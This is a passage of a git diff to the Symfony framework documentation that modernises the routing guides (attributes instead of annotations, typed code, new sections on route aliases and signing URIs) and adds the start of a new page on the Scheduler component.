Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; + return static function (RoutingConfigurator $routes): void { + $routes->import('../../src/Controller/', 'attribute') + ->host([ + 'en' => 'www.example.com', + 'nl' => 'www.example.nl', ]) ; }; @@ -2173,13 +2446,9 @@ with a locale. This can be done by defining a different prefix for each locale Stateless Routes ---------------- -.. versionadded:: 5.1 - - The ``stateless`` option was introduced in Symfony 5.1. - Sometimes, when an HTTP response should be cached, it is important to ensure -that can happen. However, whenever session is started during a request, Symfony -turns the response into a private non-cacheable response. +that can happen. However, whenever a session is started during a request, +Symfony turns the response into a private non-cacheable response. For details, see :doc:`/http_cache`. @@ -2188,37 +2457,18 @@ session shouldn't be used when matching a request: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/MainController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class MainController extends AbstractController - { - /** - * @Route("/", name="homepage", stateless=true) - */ - public function homepage() - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/MainController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\Routing\Attribute\Route; class MainController extends AbstractController { #[Route('/', name: 'homepage', stateless: true)] - public function homepage() + public function homepage(): Response { // ... } @@ -2249,7 +2499,7 @@ session shouldn't be used when matching a request: use App\Controller\MainController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('homepage', '/') ->controller([MainController::class, 'homepage']) ->stateless() @@ -2258,6 +2508,7 @@ session shouldn't be used when matching a request: Now, if the session is used, the application will report it based on your ``kernel.debug`` parameter: + * ``enabled``: will throw an :class:`Symfony\\Component\\HttpKernel\\Exception\\UnexpectedSessionUsageException` exception * ``disabled``: will log a warning @@ -2268,8 +2519,11 @@ It will help you understand and hopefully fixing unexpected behavior in your app Generating URLs --------------- -Routing systems are bidirectional: 1) they associate URLs with controllers (as -explained in the previous sections); 2) they generate URLs for a given route. +Routing systems are bidirectional: + +1. they associate URLs with controllers (as explained in the previous sections); +2. they generate URLs for a given route. + Generating URLs from routes allows you to not write the ``<a href="...">`` values manually in your HTML templates. Also, if the URL of some route changes, you only have to update the route configuration and all links will be updated. @@ -2282,6 +2536,28 @@ For that reason each route has an internal name that must be unique in the application. If you don't set the route name explicitly with the ``name`` option, Symfony generates an automatic name based on the controller and action. +Symfony declares route aliases based on the FQCN if the target class has an +``__invoke()`` method that adds a route **and** if the target class added +one route exactly. Symfony also automatically adds an alias for every method +that defines only one route. Consider the following class:: + + // src/Controller/MainController.php + namespace App\Controller; + + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\Routing\Attribute\Route; + + final class MainController extends AbstractController + { + #[Route('/', name: 'homepage')] + public function homepage(): Response + { + // ... + } + } + +Symfony will add a route alias named ``App\Controller\MainController::homepage``. + Generating URLs in Controllers ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -2292,24 +2568,21 @@ use the ``generateUrl()`` helper:: namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; class BlogController extends AbstractController { - /** - * @Route("/blog", name="blog_list") - */ - public function list() + #[Route('/blog', name: 'blog_list')] + public function list(): Response { - // ... - // generate a URL with no route arguments $signUpPage = $this->generateUrl('sign_up'); // generate a URL with route arguments $userProfilePage = $this->generateUrl('user_profile', [ - 'username' => $user->getUsername(), + 'username' => $user->getUserIdentifier(), ]); // generated URLs are "absolute paths" by default. Pass a third optional @@ -2319,6 +2592,8 @@ use the ``generateUrl()`` helper:: // when a route is localized, Symfony uses by default the current request locale // pass a different '_locale' value if you want to set the locale explicitly $signUpPageInDutch = $this->generateUrl('sign_up', ['_locale' => 'nl']); + + // ... } } @@ -2326,12 +2601,20 @@ use the ``generateUrl()`` helper:: If you pass to the ``generateUrl()`` method some parameters that are not part of the route definition, they are included in the generated URL as a - query string::: + query string:: $this->generateUrl('blog', ['page' => 2, 'category' => 'Symfony']); // the 'blog' route only defines the 'page' parameter; the generated URL is: // /blog/2?category=Symfony +.. warning:: + + While objects are converted to string when used as placeholders, they are not + converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid) + as value of an extra parameter, you need to explicitly convert it to a string:: + + $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid()]); + If your controller does not extend from ``AbstractController``, you'll need to :ref:`fetch services in your controller <controller-accessing-services>` and follow the instructions of the next section. @@ -2353,32 +2636,30 @@ the :class:`Symfony\\Component\\Routing\\Generator\\UrlGeneratorInterface` class class SomeService { - private $router; - - public function __construct(UrlGeneratorInterface $router) - { - $this->router = $router; + public function __construct( + private UrlGeneratorInterface $urlGenerator, + ) { } - public function someMethod() + public function someMethod(): void { // ... // generate a URL with no route arguments - $signUpPage = $this->router->generate('sign_up'); + $signUpPage = $this->urlGenerator->generate('sign_up'); // generate a URL with route arguments - $userProfilePage = $this->router->generate('user_profile', [ - 'username' => $user->getUsername(), + $userProfilePage = $this->urlGenerator->generate('user_profile', [ + 'username' => $user->getUserIdentifier(), ]); // generated URLs are "absolute paths" by default. Pass a third optional // argument to generate different URLs (e.g. an "absolute URL") - $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL); + $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL); // when a route is localized, Symfony uses by default the current request locale // pass a different '_locale' value if you want to set the locale explicitly - $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']); + $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']); } } @@ -2406,6 +2687,8 @@ If you need to generate URLs dynamically or if you are using pure JavaScript code, this solution doesn't work. In those cases, consider using the `FOSJsRoutingBundle`_. +.. _router-generate-urls-commands: + Generating URLs in Commands ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -2450,57 +2733,47 @@ The solution is to configure the ``default_uri`` option to define the .. code-block:: php // config/packages/routing.php - $container->loadFromExtension('framework', [ - 'router' => [ - // ... - 'default_uri' => "https://example.org/my/path/", - ], - ]); + use Symfony\Config\FrameworkConfig; -.. versionadded:: 5.1 - - The ``default_uri`` option was introduced in Symfony 5.1. + return static function (FrameworkConfig $framework): void { + $framework->router()->defaultUri('https://example.org/my/path/'); + }; Now you'll get the expected results when generating URLs in your commands:: - // src/Command/SomeCommand.php + // src/Command/MyCommand.php namespace App\Command; - use Symfony\Component\Console\Command\Command; - use Symfony\Component\Console\Input\InputInterface; - use Symfony\Component\Console\Output\OutputInterface; + use Symfony\Component\Console\Attribute\AsCommand; + use Symfony\Component\Console\Style\SymfonyStyle; use Symfony\Component\Routing\Generator\UrlGeneratorInterface; - use Symfony\Component\Routing\RouterInterface; // ... - class SomeCommand extends Command + #[AsCommand(name: 'app:my-command')] + class MyCommand { - private $router; - - public function __construct(RouterInterface $router) - { - parent::__construct(); - - $this->router = $router; + public function __construct( + private UrlGeneratorInterface $urlGenerator, + ) { } - protected function execute(InputInterface $input, OutputInterface $output) + public function __invoke(SymfonyStyle $io): int { // generate a URL with no route arguments - $signUpPage = $this->router->generate('sign_up'); + $signUpPage = $this->urlGenerator->generate('sign_up'); // generate a URL with route arguments - $userProfilePage = $this->router->generate('user_profile', [ - 'username' => $user->getUsername(), + $userProfilePage = $this->urlGenerator->generate('user_profile', [ + 'username' => $user->getUserIdentifier(), ]); - // generated URLs are "absolute paths" by default. Pass a third optional - // argument to generate different URLs (e.g. an "absolute URL") - $signUpPage = $this->router->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL); + // by default, generated URLs are "absolute paths". Pass a third optional + // argument to generate different URIs (e.g. an "absolute URL") + $signUpPage = $this->urlGenerator->generate('sign_up', [], UrlGeneratorInterface::ABSOLUTE_URL); // when a route is localized, Symfony uses by default the current request locale // pass a different '_locale' value if you want to set the locale explicitly - $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']); + $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']); // ... } @@ -2539,6 +2812,15 @@ when the route doesn't exist:: Forcing HTTPS on Generated URLs ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +.. note:: + + If your server runs behind a proxy that terminates SSL, make sure to + :doc:`configure Symfony to work behind a proxy </deployment/proxies>` + + The configuration for the scheme is only used for non-HTTP requests. + The ``schemes`` option together with incorrect proxy configuration will + lead to a redirect loop. + By default, generated URLs use the same HTTP scheme as the current request. In console commands, where there is no HTTP request, URLs use ``http`` by default. You can change this per command (via the router's ``getContext()`` @@ -2556,7 +2838,7 @@ method) or globally with these configuration parameters: .. code-block:: xml <!-- config/services.xml --> - <?xml version="1.0" encoding="UTF-8"?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services @@ -2572,45 +2854,29 @@ method) or globally with these configuration parameters: .. code-block:: php // config/services.php - $container->setParameter('router.request_context.scheme', 'https'); - $container->setParameter('asset.request_context.secure', true); + $container->parameters() + ->set('router.request_context.scheme', 'https') + ->set('asset.request_context.secure', true) + ; Outside of console commands, use the ``schemes`` option to define the scheme of each route explicitly: .. configuration-block:: - .. code-block:: php-annotations - - // src/Controller/SecurityController.php - namespace App\Controller; - - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; - - class SecurityController extends AbstractController - { - /** - * @Route("/login", name="login", schemes={"https"}) - */ - public function login() - { - // ... - } - } - .. code-block:: php-attributes // src/Controller/SecurityController.php namespace App\Controller; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; class SecurityController extends AbstractController { #[Route('/login', name: 'login', schemes: ['https'])] - public function login() + public function login(): Response { // ... } @@ -2643,7 +2909,7 @@ each route explicitly: use App\Controller\SecurityController; use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->add('login', '/login') ->controller([SecurityController::class, 'login']) ->schemes(['https']) @@ -2670,40 +2936,37 @@ same URL, but with the HTTPS scheme. If you want to force a group of routes to use HTTPS, you can define the default scheme when importing them. The following example forces HTTPS on all routes -defined as annotations: +defined as attributes: .. configuration-block:: .. code-block:: yaml - # config/routes/annotations.yaml + # config/routes/attributes.yaml controllers: resource: '../../src/Controller/' - type: annotation - defaults: - schemes: [https] + type: attribute + schemes: [https] .. code-block:: xml - <!-- config/routes/annotations.xml --> + <!-- config/routes/attributes.xml --> <?xml version="1.0" encoding="UTF-8" ?> <routes xmlns="http://symfony.com/schema/routing" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/routing https://symfony.com/schema/routing/routing-1.0.xsd"> - <import resource="../../src/Controller/" type="annotation"> - <default key="schemes">HTTPS</default> - </import> + <import resource="../../src/Controller/" type="attribute" schemes="https"/> </routes> .. code-block:: php - // config/routes/annotations.php + // config/routes/attributes.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { - $routes->import('../../src/Controller/', 'annotation') + return static function (RoutingConfigurator $routes): void { + $routes->import('../../src/Controller/', 'attribute') ->schemes(['https']) ; }; @@ -2714,17 +2977,145 @@ defined as annotations: :doc:`another way to enforce HTTP or HTTPS </security/force_https>` via the ``requires_channel`` setting. +Signing URIs +~~~~~~~~~~~~ + +A signed URI is an URI that includes a hash value that depends on the contents of +the URI. This way, you can later check the integrity of the signed URI by +recomputing its hash value and comparing it with the hash included in the URI. + +Symfony provides a utility to sign URIs via the :class:`Symfony\\Component\\HttpFoundation\\UriSigner` +service, which you can inject in your services or controllers:: + + // src/Service/SomeService.php + namespace App\Service; + + use Symfony\Component\HttpFoundation\UriSigner; + + class SomeService + { + public function __construct( + private UriSigner $uriSigner, + ) { + } + + public function someMethod(): void + { + // ... + + // generate a URL yourself or get it somehow... + $url = 'https://example.com/foo/bar?sort=desc'; + + // sign the URL (it adds a query parameter called '_hash') + $signedUrl = $this->uriSigner->sign($url); + // $url = 'https://example.com/foo/bar?sort=desc&_hash=e4a21b9' + + // check the URL signature + $uriSignatureIsValid = $this->uriSigner->check($signedUrl); + // $uriSignatureIsValid = true + + // if you have access to the current Request object, you can use this + // other method to pass the entire Request object instead of the URI: + $uriSignatureIsValid = $this->uriSigner->checkRequest($request); + } + } + +For security reasons, it's common to make signed URIs expire after some time +(e.g. when using them to reset user credentials). By default, signed URIs don't +expire, but you can define an expiration date/time using the ``$expiration`` +argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`:: + + // src/Service/SomeService.php + namespace App\Service; + + use Symfony\Component\HttpFoundation\UriSigner; + + class SomeService + { + public function __construct( + private UriSigner $uriSigner, + ) { + } + + public function someMethod(): void + { + // ... + + // generate a URL yourself or get it somehow... + $url = 'https://example.com/foo/bar?sort=desc'; + + // sign the URL with an explicit expiration date + $signedUrl = $this->uriSigner->sign($url, new \DateTimeImmutable('2050-01-01')); + // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9' + + // if you pass a \DateInterval, it will be added from now to get the expiration date + $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S')); // valid for 10 seconds from now + // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9' + + // you can also use a timestamp in seconds + $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01 + // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9' + } + } + +.. note:: + + The expiration date/time is included in the signed URIs as a timestamp via + the ``_expiration`` query parameter. + +.. versionadded:: 7.1 + + The feature to add an expiration date for a signed URI was introduced in Symfony 7.1. + +If you need to know the reason why a signed URI is invalid, you can use the +``verify()`` method which throws exceptions on failure:: + + use Symfony\Component\HttpFoundation\Exception\ExpiredSignedUriException; + use Symfony\Component\HttpFoundation\Exception\UnsignedUriException; + use Symfony\Component\HttpFoundation\Exception\UnverifiedSignedUriException; + + // ... + + try { + $uriSigner->verify($uri); // $uri can be a string or Request object + + // the URI is valid + } catch (UnsignedUriException) { + // the URI isn't signed + } catch (UnverifiedSignedUriException) { + // the URI is signed but the signature is invalid + } catch (ExpiredSignedUriException) { + // the URI is signed but expired + } + +.. versionadded:: 7.3 + + The ``verify()`` method was introduced in Symfony 7.3. + +.. tip:: + + If ``symfony/clock`` is installed, it will be used to create and verify + expirations. This allows you to :ref:`mock the current time in your tests + <clock_writing-tests>`. + +.. versionadded:: 7.3 + + Support for :doc:`Symfony Clock </components/clock>` in ``UriSigner`` was + introduced in Symfony 7.3. + Troubleshooting --------------- Here are some common errors you might see while working with routing: +.. code-block:: text + Controller "App\\Controller\\BlogController::show()" requires that you provide a value for the "$slug" argument. This happens when your controller method has an argument (e.g. ``$slug``):: - public function show($slug) + public function show(string $slug): Response { // ... } @@ -2733,6 +3124,8 @@ But your route path does *not* have a ``{slug}`` parameter (e.g. it is ``/blog/show``). Add a ``{slug}`` to your route path: ``/blog/show/{slug}`` or give the argument a default value (i.e. ``$slug = null``). +.. code-block:: text + Some mandatory parameters are missing ("slug") to generate a URL for route "blog_show". @@ -2743,16 +3136,14 @@ generating the route:: $this->generateUrl('blog_show', ['slug' => 'slug-value']); - // or, in Twig - // {{ path('blog_show', {slug: 'slug-value'}) }} +or, in Twig: -Learn more about Routing ------------------------- +.. code-block:: twig -.. toctree:: - :hidden: + {{ path('blog_show', {slug: 'slug-value'}) }} - controller +Learn more about Routing +------------------------ .. toctree:: :maxdepth: 1 @@ -2762,5 +3153,5 @@ Learn more about Routing .. _`PHP regular expressions`: https://www.php.net/manual/en/book.pcre.php .. _`PCRE Unicode properties`: https://www.php.net/manual/en/regexp.reference.unicode.php -.. _`full param converter documentation`: https://symfony.com/doc/current/bundles/SensioFrameworkExtraBundle/annotations/converters.html .. _`FOSJsRoutingBundle`: https://github.com/FriendsOfSymfony/FOSJsRoutingBundle +.. _`backed enumerations`: https://www.php.net/manual/en/language.enumerations.backed.php diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst index a339ec74f61..b41057a81ed 100644 --- a/routing/custom_route_loader.rst +++ b/routing/custom_route_loader.rst @@ -1,14 +1,11 @@ -.. index:: - single: Routing; Custom route loader - How to Create a custom Route Loader =================================== Basic applications can define all their routes in a single configuration file - usually ``config/routes.yaml`` (see :ref:`routing-creating-routes`). However, in most applications it's common to import routes definitions from -different resources: PHP annotations in controller files, YAML, XML or PHP -files stored in some directory, etc. +different resources: PHP attributes in controller files, YAML, XML +or PHP files stored in some directory, etc. Built-in Route Loaders ---------------------- @@ -24,10 +21,22 @@ Symfony provides several route loaders for the most common needs: # loads routes from the given routing file stored in some bundle resource: '@AcmeBundle/Resources/config/routing.yaml' - app_annotations: - # loads routes from the PHP annotations of the controllers found in that directory + app_psr4: + # loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root + resource: + path: '../src/Controller/' + namespace: App\Controller + type: attribute + + app_attributes: + # loads routes from the PHP attributes of the controllers found in that directory resource: '../src/Controller/' - type: annotation + type: attribute + + app_class_attributes: + # loads routes from the PHP attributes of the given class + resource: App\Controller\MyController + type: attribute app_directory: # loads routes from the YAML, XML or PHP files found in that directory @@ -51,8 +60,16 @@ Symfony provides several route loaders for the most common needs: <!-- loads routes from the given routing file stored in some bundle --> <import resource="@AcmeBundle/Resources/config/routing.yaml"/> - <!-- loads routes from the PHP annotations of the controllers found in that directory --> - <import resource="../src/Controller/" type="annotation"/> + <!-- loads routes from the PHP attributes of the controllers found in the given PSR-4 namespace root --> + <import type="attribute"> + <resource path="../src/Controller/" namespace="App\Controller"/> + </import> + + <!-- loads routes from the PHP attributes of the controllers found in that directory --> + <import resource="../src/Controller/" type="attribute"/> + + <!-- loads routes from the PHP attributes of the given class --> + <import resource="App\Controller\MyController" type="attribute"/> <!-- loads routes from the YAML or XML files found in that directory --> <import resource="../legacy/routing/" type="directory"/> @@ -66,12 +83,23 @@ Symfony provides several route loaders for the most common needs: // config/routes.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { // loads routes from the given routing file stored in some bundle $routes->import('@AcmeBundle/Resources/config/routing.yaml'); - // loads routes from the PHP annotations of the controllers found in that directory - $routes->import('../src/Controller/', 'annotation'); + // loads routes from the PHP attributes (#[Route(...)]) + // of the controllers found in the given PSR-4 namespace root + $routes->import( + ['path' => '../src/Controller/', 'namespace' => 'App\Controller'], + 'attribute', + ); + + // loads routes from the PHP attributes (#[Route(...)]) + // of the controllers found in that directory + $routes->import('../src/Controller/', 'attribute'); + + // loads routes from the PHP attributes (#[Route(...)]) of the given class + $routes->import('App\Controller\MyController', 'attribute'); // loads routes from the YAML or XML files found in that directory $routes->import('../legacy/routing/', 'directory'); @@ -82,7 +110,7 @@ Symfony provides several route loaders for the most common needs: .. note:: - When importing resources, the key (e.g. ``app_file``) is the name of collection. + When importing resources, the key (e.g. ``app_file``) is the name of the collection. Just be sure that it's unique per file so no other lines override it. If your application needs are different, you can create your own custom route @@ -94,7 +122,7 @@ What is a Custom Route Loader A custom route loader enables you to generate routes based on some conventions, patterns or integrations. An example for this use-case is the `OpenAPI-Symfony-Routing`_ library where routes are generated based on -OpenAPI/Swagger annotations. Another example is the `SonataAdminBundle`_ that +OpenAPI/Swagger attributes. Another example is the `SonataAdminBundle`_ that creates routes based on CRUD conventions. Loading Routes @@ -103,7 +131,7 @@ Loading Routes The routes in a Symfony application are loaded by the :class:`Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader`. This loader uses several other loaders (delegates) to load resources of -different types, for instance YAML files or ``@Route`` annotations in controller +different types, for instance YAML files or ``#[Route]`` attributes in controller files. The specialized loaders implement :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface` and therefore have two important methods: @@ -119,7 +147,7 @@ Take these lines from the ``routes.yaml``: # config/routes.yaml controllers: resource: ../src/Controller/ - type: annotation + type: attribute .. code-block:: xml @@ -130,7 +158,7 @@ Take these lines from the ``routes.yaml``: xsi:schemaLocation="http://symfony.com/schema/routing https://symfony.com/schema/routing/routing-1.0.xsd"> - <import resource="../src/Controller" type="annotation"/> + <import resource="../src/Controller" type="attribute"/> </routes> .. code-block:: php @@ -138,14 +166,14 @@ Take these lines from the ``routes.yaml``: // config/routes.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { - $routes->import('../src/Controller', 'annotation'); + return static function (RoutingConfigurator $routes): void { + $routes->import('../src/Controller', 'attribute'); }; When the main loader parses this, it tries all registered delegate loaders and calls their :method:`Symfony\\Component\\Config\\Loader\\LoaderInterface::supports` method with the given resource (``../src/Controller/``) -and type (``annotation``) as arguments. When one of the loader returns ``true``, +and type (``attribute``) as arguments. When one of the loader returns ``true``, its :method:`Symfony\\Component\\Config\\Loader\\LoaderInterface::load` method will be called, which should return a :class:`Symfony\\Component\\Routing\\RouteCollection` containing :class:`Symfony\\Component\\Routing\\Route` objects. @@ -192,7 +220,7 @@ and configure the service and method to call: // config/routes.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->import('admin_route_loader::loadRoutes', 'service'); }; @@ -214,12 +242,12 @@ tag it manually with ``routing.route_loader``. .. tip:: - If your service is invokable, you don't need to precise the method to use. + If your service is invokable, you don't need to specify the method to use. Creating a custom Loader ------------------------ -To load routes from some custom source (i.e. from something other than annotations, +To load routes from some custom source (i.e. from something other than attributes, YAML or XML files), you need to create a custom route loader. This loader has to implement :class:`Symfony\\Component\\Config\\Loader\\LoaderInterface`. @@ -241,9 +269,9 @@ you do. The resource name itself is not actually used in the example:: class ExtraLoader extends Loader { - private $isLoaded = false; + private bool $isLoaded = false; - public function load($resource, string $type = null) + public function load($resource, ?string $type = null): RouteCollection { if (true === $this->isLoaded) { throw new \RuntimeException('Do not add the "extra" loader twice'); @@ -270,7 +298,7 @@ you do. The resource name itself is not actually used in the example:: return $routes; } - public function supports($resource, string $type = null) + public function supports($resource, ?string $type = null): bool { return 'extra' === $type; } @@ -287,7 +315,7 @@ have to create an ``extra()`` method in the ``ExtraController``:: class ExtraController extends AbstractController { - public function extra($parameter) + public function extra(mixed $parameter): Response { return new Response($parameter); } @@ -309,7 +337,7 @@ Now define a service for the ``ExtraLoader``: .. code-block:: xml <!-- config/services.xml --> - <?xml version="1.0" ?> + <?xml version="1.0" encoding="UTF-8" ?> <container xmlns="http://symfony.com/schema/dic/services" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://symfony.com/schema/dic/services @@ -331,8 +359,8 @@ Now define a service for the ``ExtraLoader``: use App\Routing\ExtraLoader; - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); + return static function (ContainerConfigurator $container): void { + $services = $container->services(); $services->set(ExtraLoader::class) ->tag('routing.loader') @@ -376,7 +404,7 @@ What remains to do is adding a few lines to the routing configuration: // config/routes.php use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator; - return function (RoutingConfigurator $routes) { + return static function (RoutingConfigurator $routes): void { $routes->import('.', 'extra'); }; @@ -415,7 +443,7 @@ configuration file - you can call the class AdvancedLoader extends Loader { - public function load($resource, string $type = null) + public function load($resource, ?string $type = null): RouteCollection { $routes = new RouteCollection(); @@ -429,7 +457,7 @@ configuration file - you can call the return $routes; } - public function supports($resource, string $type = null) + public function supports($resource, ?string $type = null): bool { return 'advanced_extra' === $type; } @@ -439,7 +467,7 @@ configuration file - you can call the The resource name and type of the imported routing configuration can be anything that would normally be supported by the routing configuration - loader (YAML, XML, PHP, annotation, etc.). + loader (YAML, XML, PHP, attribute, etc.). .. note:: diff --git a/routing/routing_from_database.rst b/routing/routing_from_database.rst index 03016259127..2604aca5299 100644 --- a/routing/routing_from_database.rst +++ b/routing/routing_from_database.rst @@ -1,6 +1,3 @@ -.. index:: - single: Routing; Extra Information - Looking up Routes from a Database: Symfony CMF DynamicRouter ============================================================ @@ -23,8 +20,8 @@ For these cases, the ``DynamicRouter`` offers an alternative approach: When all routes are known during deploy time and the number is not too high, using a :doc:`custom route loader <custom_route_loader>` is the preferred way to add more routes. When working with only one type of -objects, a slug parameter on the object and the ``@ParamConverter`` -annotation work fine (see `FrameworkExtraBundle`_) . +objects, a slug parameter on the object and the ``#[ParamConverter]`` +attribute works fine (see `FrameworkExtraBundle`_) . The ``DynamicRouter`` is useful when you need ``Route`` objects with the full feature set of Symfony. Each route can define a specific diff --git a/scheduler.rst b/scheduler.rst new file mode 100644 index 00000000000..0d286b37d92 --- /dev/null +++ b/scheduler.rst @@ -0,0 +1,1066 @@ +Scheduler +========= + +.. admonition:: Screencast + :class: screencast + + Like video tutorials? Check out this `Scheduler quick-start screencast`_. + +The scheduler component manages task scheduling within your PHP application, like +running a task each night at 3 AM, every two weeks except for holidays or any +other custom schedule you might need. + +This component is useful to schedule tasks like maintenance (database cleanup, +cache clearing, etc.), background processing (queue handling, data synchronization, +etc.), periodic data updates, scheduled notifications (emails, alerts), and more. + +This document focuses on using the Scheduler component in the context of a full +stack Symfony application. + +Installation +------------ + +Run this command to install the scheduler component: + +.. code-block:: terminal + + $ composer require symfony/scheduler + +.. note:: + + In applications using :ref:`Symfony Flex <symfony-flex>`, installing the component + also creates an initial schedule that's ready to start adding your tasks. + +Symfony Scheduler Basics +------------------------ + +The main benefit of using this component is that automation is managed by your +application, which gives you a lot of flexibility that is not possible with cron +jobs (e.g. dynamic schedules based on certain conditions). + +At its core, the Scheduler component allows you to create a task (called a message) +that is executed by a service and repeated on some schedule. It has some similarities +with the :doc:`Symfony Messenger </components/messenger>` component (such as message, +handler, bus, transport, etc.), but the main difference is that Messenger can't +deal with repetitive tasks at regular intervals. + +Consider the following example of an application that sends some reports to +customers on a scheduled basis. First, create a Scheduler message that represents +the task of creating a report:: + + // src/Scheduler/Message/SendDailySalesReports.php + namespace App\Scheduler\Message; + + class SendDailySalesReports + { + public function __construct(private int $id) {} + + public function getId(): int + { + return $this->id; + } + } + +Next, create the handler that processes that kind of message:: + + // src/Scheduler/Handler/SendDailySalesReportsHandler.php + namespace App\Scheduler\Handler; + + use App\Scheduler\Message\SendDailySalesReports; + use Symfony\Component\Messenger\Attribute\AsMessageHandler; + + #[AsMessageHandler] + class SendDailySalesReportsHandler + { + public function __invoke(SendDailySalesReports $message) + { + // ... do some work to send the report to the customers + } + } + +Instead of sending these messages immediately (as in the Messenger component), +the goal is to create them based on a predefined frequency. This is possible +thanks to :class:`Symfony\\Component\\Scheduler\\Messenger\\SchedulerTransport`, +a special transport for Scheduler messages. + +The transport generates, autonomously, various messages according to the assigned +frequencies. The following images illustrate the differences between the +processing of messages in Messenger and Scheduler components: + +In Messenger: + +.. image:: /_images/components/messenger/basic_cycle.png + :alt: Symfony Messenger basic cycle + +In Scheduler: + +.. image:: /_images/components/scheduler/scheduler_cycle.png + :alt: Symfony Scheduler basic cycle + +Another important difference is that messages in the Scheduler component are +recurring. They are represented via the :class:`Symfony\\Component\\Scheduler\\RecurringMessage` +class. + +.. _scheduler_attaching-recurring-messages: + +Attaching Recurring Messages to a Schedule +------------------------------------------ + +The configuration of the message frequency is stored in a class that implements +:class:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface`. This provider +uses the method :method:`Symfony\\Component\\Scheduler\\ScheduleProviderInterface::getSchedule` +to return a schedule containing the different recurring messages. + +The :class:`Symfony\\Component\\Scheduler\\Attribute\\AsSchedule` attribute, +which by default references the schedule named ``default``, allows you to register +on a particular schedule:: + + // src/Scheduler/SaleTaskProvider.php + namespace App\Scheduler; + + use Symfony\Component\Scheduler\Attribute\AsSchedule; + use Symfony\Component\Scheduler\Schedule; + use Symfony\Component\Scheduler\ScheduleProviderInterface; + + #[AsSchedule] + class SaleTaskProvider implements ScheduleProviderInterface + { + public function getSchedule(): Schedule + { + // ... + } + } + +.. tip:: + + By default, the schedule name is ``default`` and the transport name follows + the syntax: ``scheduler_nameofyourschedule`` (e.g. ``scheduler_default``). + +.. tip:: + + `Memoizing`_ your schedule is a good practice to prevent unnecessary reconstruction + if the ``getSchedule()`` method is checked by another service. + +Scheduling Recurring Messages +----------------------------- + +A ``RecurringMessage`` is a message associated with a trigger, which configures +the frequency of the message. Symfony provides different types of triggers: + +:class:`Symfony\\Component\\Scheduler\\Trigger\\CronExpressionTrigger` + A trigger that uses the same syntax as the `cron command-line utility`_. + +:class:`Symfony\\Component\\Scheduler\\Trigger\\CallbackTrigger` + A trigger that uses a callback to determine the next run date. + +:class:`Symfony\\Component\\Scheduler\\Trigger\\ExcludeTimeTrigger` + A trigger that excludes certain times from a given trigger. + +:class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger` + A trigger that adds a random jitter to a given trigger. The jitter is some + time that is added to the original triggering date/time. This + allows to distribute the load of the scheduled tasks instead of running them + all at the exact same time. + +:class:`Symfony\\Component\\Scheduler\\Trigger\\PeriodicalTrigger` + A trigger that uses a ``DateInterval`` to determine the next run date. + +The :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger` and 